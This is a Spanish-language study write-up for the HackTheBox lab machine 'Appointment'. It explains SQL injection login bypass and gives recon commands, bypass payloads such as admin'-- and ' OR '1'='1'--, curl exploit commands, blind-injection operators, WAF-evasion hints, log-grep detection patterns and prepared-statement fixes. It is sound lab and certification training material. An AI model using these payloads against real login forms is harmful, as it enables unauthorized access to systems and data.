

# HTB Appointment — Tier 1

SQL Injection · Login Bypass · Web Fundamentals

Este documento cubre la teoría necesaria para resolver Appointment: qué es SQL Injection, cómo se explota un formulario de login, qué herramientas se usan, qué detecta el Blue Team, y cómo conecta con el CPTS.

## 1. Contexto de la Máquina

| Campo         | Detalle                                               |
|---------------|-------------------------------------------------------|
| Nombre        | Appointment                                           |
| Tier / Fase   | Tier 1 — Starting Point                               |
| OS            | Linux                                                 |
| Dificultad    | Easy                                                  |
| Técnica clave | SQL Injection — login bypass                          |
| Herramientas  | nmap, curl, gobuster, Burp Suite                      |
| Vector        | Formulario de login vulnerable a SQLi clásica sin WAF |

Appointment expone un servidor web con un formulario de login que construye una query SQL concatenando directamente el input del usuario. No hay WAF, no hay prepared statements. El objetivo: bypassear el login con SQL Injection y obtener la flag.

■■ Esta es la técnica más frecuente en evaluaciones reales de aplicaciones web. Entenderla bien desde los fundamentos es crítico para el CPTS y para cualquier engagement.

## 2. SQL Injection — Fundamentos

### 2.1 ¿Qué es SQL Injection?

SQL Injection (SQLi) ocurre cuando una aplicación incluye input del usuario directamente en una consulta SQL sin sanitizarlo. El atacante puede romper la estructura de la query e inyectar lógica propia, alterando el resultado o extrayendo datos.

#### Query vulnerable típica en un login:

```
-- Código PHP vulnerable (backend)
$query = "SELECT * FROM users WHERE username='".$$_POST["user"]." AND password='".$$_POST["pass"]."';";
-- Con input normal:
SELECT * FROM users WHERE username='admin' AND password='1234';
-- Con payload SQLi: usuario = admin'--
SELECT * FROM users WHERE username='admin'--' AND password='cualquier';
                        ^^^ comentario SQL: ignora el resto
```

El doble guión -- es el operador de comentario en SQL (MySQL también acepta #). Todo lo que sigue al comentario es ignorado por el motor de base de datos. El resultado: la condición de contraseña desaparece — el login autentica solo con el username.

### 2.2 Payloads clásicos de Login Bypass

Para bypassar un login no siempre se necesita conocer credenciales. Basta con hacer que la query devuelva TRUE. Los payloads más comunes:

| Payload (campo usuario) | Lógica resultante                     | Cuándo funciona           |
|-------------------------|---------------------------------------|---------------------------|
| admin'--                | Ignora password check                 | Username conocido (admin) |
| ' OR '1'='1'--          | Siempre TRUE — primer registro        | Sin conocer username      |
| ' OR 1=1#               | Igual, con comentario MySQL #         | MySQL/MariaDB             |
| admin' #                | Ignora password — MySQL               | Username conocido, MySQL  |
| ) OR ('1'='1            | Con paréntesis — sintaxis alternativa | Queries con paréntesis    |

■ Regla de campo: si no sabes qué motor SQL usa la app, prueba primero con -- (ANSI), luego con # (MySQL). La respuesta del servidor (error vs redirección) revela el tipo.

### 2.3 Anatomía del Bypass — Paso a Paso

```
-- Input del atacante:
username: admin'--
password: cualquier_cosa
-- Query resultante en el servidor:
SELECT * FROM users WHERE username='admin'--' AND password='cualquier_cosa';
-- Lo que ejecuta el motor SQL:
SELECT * FROM users WHERE username='admin'
--> Devuelve fila de admin --> login exitoso
```

## 3. Reconocimiento Pre-Explotación

---

### 3.1 Nmap — Identificar Servicios Web

```
nmap -sCV -p- --min-rate 5000 <IP> -oN nmap_appointment.txt
# Qué buscar en output:
# 80/tcp open  http  Apache httpd X.X
# 443/tcp open  https  (si existe)
# → Si hay 80/443, hay aplicación web que enumerar
```

### 3.2 Gobuster — Descubrir Directorios

Antes de atacar el login, mapear la superficie de la aplicación. Gobuster realiza fuzzing de directorios/archivos por fuerza bruta.

```
gobuster dir -u http://<IP>/ -w /usr/share/wordlists/dirb/common.txt -x php,html
# Flags importantes:
# -u → URL objetivo
# -w → wordlist (common.txt para empezar, directory-list-2.3-medium.txt para más profundo)
# -x → extensiones a probar (php y html son comunes en login panels)
# Output clave a notar:
# /login.php      (Status: 200)
# /admin/         (Status: 301 o 403)
# /index.php      (Status: 200)
```

### 3.3 Inspección del Formulario de Login

Antes de inyectar, entender cómo envía los datos el formulario: método HTTP (GET/POST), nombres de campos (name=), acción (action=).

```
# Ver source HTML del formulario:
curl -s http://<IP>/login.php | grep -A 20 '<form'
# Buscar:
# <form method="POST" action="/login.php">
# <input type="text"      name="username">
# <input type="password" name="password">
# Con Burp Suite:
# Interceptar el POST de login → ver raw request → modificar parámetros
```

## 4. Explotación — Login Bypass

### 4.1 Probar Manualmente con curl

```
# POST con payload SQLi en username:
curl -s -X POST http://<IP>/login.php \
  -d "username=admin'--&password=test" \
  -L # seguir redirecciones

# Alternativa con OR 1=1:
curl -s -X POST http://<IP>/login.php \
  -d "username=' OR '1'='1'--&password=test" \
  -L

# Señales de bypass exitoso en respuesta:
# - Redirección a /dashboard.php o /home.php
# - Desaparece el formulario de login
# - Aparece texto 'Welcome' o 'Logged in'
```

### 4.2 Usando Burp Suite (método recomendado)

Burp permite interceptar, modificar y reenviar requests sin reescribir curl manualmente. Flujo básico:

- 1. Abrir Burp → Proxy → Intercept ON
- 2. Navegar a `http://login.php` en el browser configurado con proxy Burp (127.0.0.1:8080)
- 3. Ingresar cualquier credencial y hacer submit
- 4. En Burp: ver el POST interceptado → Send to Repeater (Ctrl+R)
- 5. En Repeater: modificar el parámetro username → `username=admin'--`
- 6. Send → revisar Response: si hay redirección o cambio de contenido = bypass

■ Burp Repeater es más eficiente que curl para iterar payloads: modificas el campo, das Send, ves el response — sin reescribir el comando completo.

### 4.3 Obtener la Flag

En Appointment, tras el bypass el servidor muestra la flag directamente en la página post-login o en el dashboard. En máquinas más complejas puede requerir explorar el filesystem, pero en Tier 1 generalmente está en la respuesta HTTP inmediata.

```
# Si el bypass funciona, buscar en el HTML de respuesta:
curl -s -X POST http://<IP>/login.php \
  -d "username=admin'--&password=x" -L | grep -i 'flag\|HTB{'
```

## 5. MITRE ATT&CK; — Mapeo de la Técnica

| Táctica           | Técnica                            | ID    | Subtécnica | Descripción                                        |
|-------------------|------------------------------------|-------|------------|----------------------------------------------------|
| Reconnaissance    | Active Scanning                    | T1595 | T1595.002  | Gobuster / nmap para mapear servicios y rutas web  |
| Initial Access    | Exploit Public-Facing Application  | T1190 | —          | SQLi en login expuesto públicamente como vector    |
| Credential Access | Exploitation for Credential Access | T1192 | —          | Bypass de autenticación sin credenciales válidas   |
| Defense Evasion   | Exploitation for Defense Evasion   | T1211 | —          | Comentario SQL (--) para ignorar validación de pas |

Nota: T1190 es el ID principal en producción real — un formulario de login vulnerable a SQLi es literalmente una aplicación pública explorable. En el contexto del CPTS y reportes profesionales, este es el mapping correcto a usar.

## 6. Blue Team — ¿Qué se Detecta?

### 6.1 Indicadores en Logs del Servidor Web

```
# Apache/Nginx access.log – buscar payloads SQLi en requests:
POST /login.php HTTP/1.1
Body: username=admin'--&password=test
# Caracteres clave que disparan alertas:
# Comillas simples: '
# Doble guión: --
# Comentario #: %23 (URL encoded)
# OR, AND, UNION: OR+1%3D1 (URL encoded)
# Grep rápido en logs para detectar intentos:
grep -E "( ' |--|%27|%2D%2D|OR+1|UNION)" /var/log/apache2/access.log
```

### 6.2 Indicadores en SIEM / IDS

- **WAF (ModSecurity/CloudFlare):** reglas SQLi detectan patrones ' OR, --, UNION SELECT en parámetros POST/GET
- **SIEM:** múltiples 401→200 en corto tiempo = posible fuerza bruta de payloads
- **IDS (Snort/Suricata):** firmas SQLi clásicas activan alertas en tráfico HTTP sin cifrar
- **App-level logging:** errores de SQL en logs de la app revelan el payload exacto inyectado

### 6.3 Conexión con Threat Hunting (ramo actual)

Desde la perspectiva ofensiva: un atacante que usa SQLi manual (sin sqlmap) genera MENOS ruido — sqlmap hace cientos de requests automatizados que disparan rate-limiting y firmas IDS. El bypass manual con curl/Burp es más silencioso pero requiere entender la vulnerabilidad a fondo.

■ ■ En un engagement real: si hay WAF activo, SQLi manual puede fallar. Señales de WAF: respuesta 403 inmediata con payload, o respuesta genérica sin error SQL. En ese caso se necesita evasión (encoding, case variation, comments).

## 7. Remediación — Cómo se Parchea

---

Entender la remediación es obligatorio para el CPTS: el examen requiere un reporte con recomendaciones técnicas, no solo flags.

### 7.1 Prepared Statements (fix principal)

```
-- VULNERABLE (concatenación directa):
$query = "SELECT * FROM users WHERE username='".$user.'" AND password='".$pass.'"';";

-- SEGURO (prepared statement – PHP PDO):
$stmt = $pdo->prepare("SELECT * FROM users WHERE username=? AND password=?");
$stmt->execute([$user, $pass]);

-- SEGURO (MySQLi):
$stmt = $conn->prepare("SELECT * FROM users WHERE username=? AND password=?");
$stmt->bind_param("ss", $user, $pass);
$stmt->execute();
```

Los prepared statements separan el código SQL del dato. El motor SQL procesa primero la query compilada y luego inserta los parámetros como datos puros — no como código ejecutable. Un payload como **admin'--** se trata como string literal, no como SQL.

### 7.2 Otras mitigaciones complementarias

- **Input validation:** rechazar caracteres especiales SQL ("', --, ;) en campos de login
- **Least privilege DB:** el usuario de BD de la app no debe tener permisos de lectura en tablas de sistema
- **WAF:** ModSecurity con OWASP Core Rule Set detecta y bloquea SQLi conocidas
- **Error handling:** nunca mostrar errores SQL al cliente — revelan estructura de la BD
- **Rate limiting:** limitar intentos de login por IP (5-10 intentos, luego bloqueo temporal)

## 8. Cheatsheet — Appointment

### Flujo de ataque completo:

```
# 1. Reconocimiento
nmap -sCV -p- --min-rate 5000 <IP> -oN nmap.txt

# 2. Enumerar directorios web
gobuster dir -u http://<IP>/ -w /usr/share/wordlists/dirb/common.txt -x php,html

# 3. Identificar formulario de login
curl -s http://<IP>/login.php | grep -A 20 '<form'

# 4. Payload de bypass – probar en orden:
# username=admin'--          (más limpio, si username es conocido)
# username=' OR '1'='1'--    (sin conocer username)
# username=' OR 1=1#          (MySQL con #)

# 5. Ejecutar bypass
curl -s -X POST http://<IP>/login.php -d "username=admin'--&password=x" -L

# 6. Extraer flag de respuesta
curl -s -X POST http://<IP>/login.php -d "username=admin'--&password=x" -L | grep -oE 'HTB\[^\]]+\}'
```

### Operadores SQL útiles para bypass:

| Operador / Sintaxis | Motor SQL          | Efecto                                      |
|---------------------|--------------------|---------------------------------------------|
| --                  | ANSI, MySQL, MSSQL | Comentario de línea — ignora resto de query |
| #                   | MySQL, MariaDB     | Comentario alternativo MySQL                |
| /* */               | Todos              | Comentario de bloque                        |
| OR 1=1              | Todos              | Condición siempre verdadera                 |
| ' OR 'x'='x         | Todos              | Condición verdadera sin OR numérico         |
| SLEEP(5)            | MySQL              | Blind SQLi — delay para confirmar inyección |
| WAITFOR DELAY       | MSSQL              | Equivalente a SLEEP en SQL Server           |

## 9. Conexión con CPTS y Mercado Laboral

SQLi está cubierta en el módulo **SQL Injection Fundamentals** del HTB Academy Penetration Tester Path — uno de los módulos obligatorios para el CPTS. Lo que practicas en Appointment es exactamente lo que el examen espera que domines.

- **CPTS Exam:** SQLi en aplicaciones web es parte del scope. Se espera identificar, explotar y documentar correctamente
- **OWASP Top 10:** Injection (A03:2021) — sigue siendo top 3 en vulnerabilidades web más frecuentes
- **Engagement real (Proyecto Cóndor):** formularios de login sin prepared statements son extremadamente comunes en software legado chileno / latinoamericano
- **Reporte:** documentar SQLi requiere: payload exacto + query resultante + evidencia (screenshot/curl output) + impacto de negocio + remediación

■ Después de Appointment, la progresión natural es Sequel (MySQL directo) y luego Vaccine (SQLi + sqlmap). Cada máquina añade una capa al mismo concepto base.